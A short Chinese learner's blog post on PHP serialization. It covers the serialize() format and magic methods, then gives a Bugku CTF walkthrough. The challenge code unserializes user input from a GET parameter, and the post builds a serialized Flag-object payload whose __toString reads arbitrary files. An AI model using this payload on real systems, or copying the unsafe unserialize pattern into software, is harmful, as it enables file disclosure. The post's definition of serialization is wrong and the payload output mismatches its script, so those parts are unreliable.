前言
最近在学序列化和反序列化,虽然很高深,但是学习过程也是乐在其中
下面总结了一点,剩下的以后更新
PS:个人见解,如有错误的敬请指正
正文
首先来了解一下什么是序列化
序列化是一种把代码经过加工处理后储存起来的加工方法,一般用在一些极少会调用的代码,这样的好处是减轻系统储存代码的负担,对应着也有反序列化,作用是讲序列化之后的内容还原
序列化和反序列化相关的函数
serialize()、unserialize()、json_encode()、json_decod()
对数组array的处理是这样的:
a:<length>:{type,length,key;type:value;}
a:2:{s:1:"a";i:1;s:1:"b";i:2;}
对数值integer的处理是这样的:
i:value;
i:25;
对布尔值boolean的处理是这样的:
b:0或者1;
b:1;
对对象object的处理是这样的:
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"**";N;} //说明person对象中name属性为Null、age属性为19,**属性为Null
对字符串string的处理是这样的:
s:length:"value";
s:1:"a";
对空指针null的处理是这样的
N;
结合php中的魔术函数
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
下面借助bugku上面的一个题目帮助我们理解序列化与反序列化
<script language="php">
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br />";
return ("good");
}
}
}
$password = unserialize($_GET['password']);
echo $password;
</script>
关键点:当对象被当作字符串使用时调用__tostring()函数,所以如果我们给password传入一个序列化的对象,那么echo $password的时候就会调用魔幻函数。
构造payload:
<script language="php">
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br />";
return ("good");
}
}
}
$obj = new Flag();
$obj->file = "Flag.php";
echo serialize($obj);
</script>
生成:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最后提交上去,读出flag.php
小结
参考链接:
https://bbs.ichunqiu.com/thread-39169-1-1.html
https://blog.csdn.net/weixin_42751456/article/details/88758908
https://www.cnblogs.com/twlr/p/12287670.html
https://www.cnblogs.com/youyoui/p/8610068.html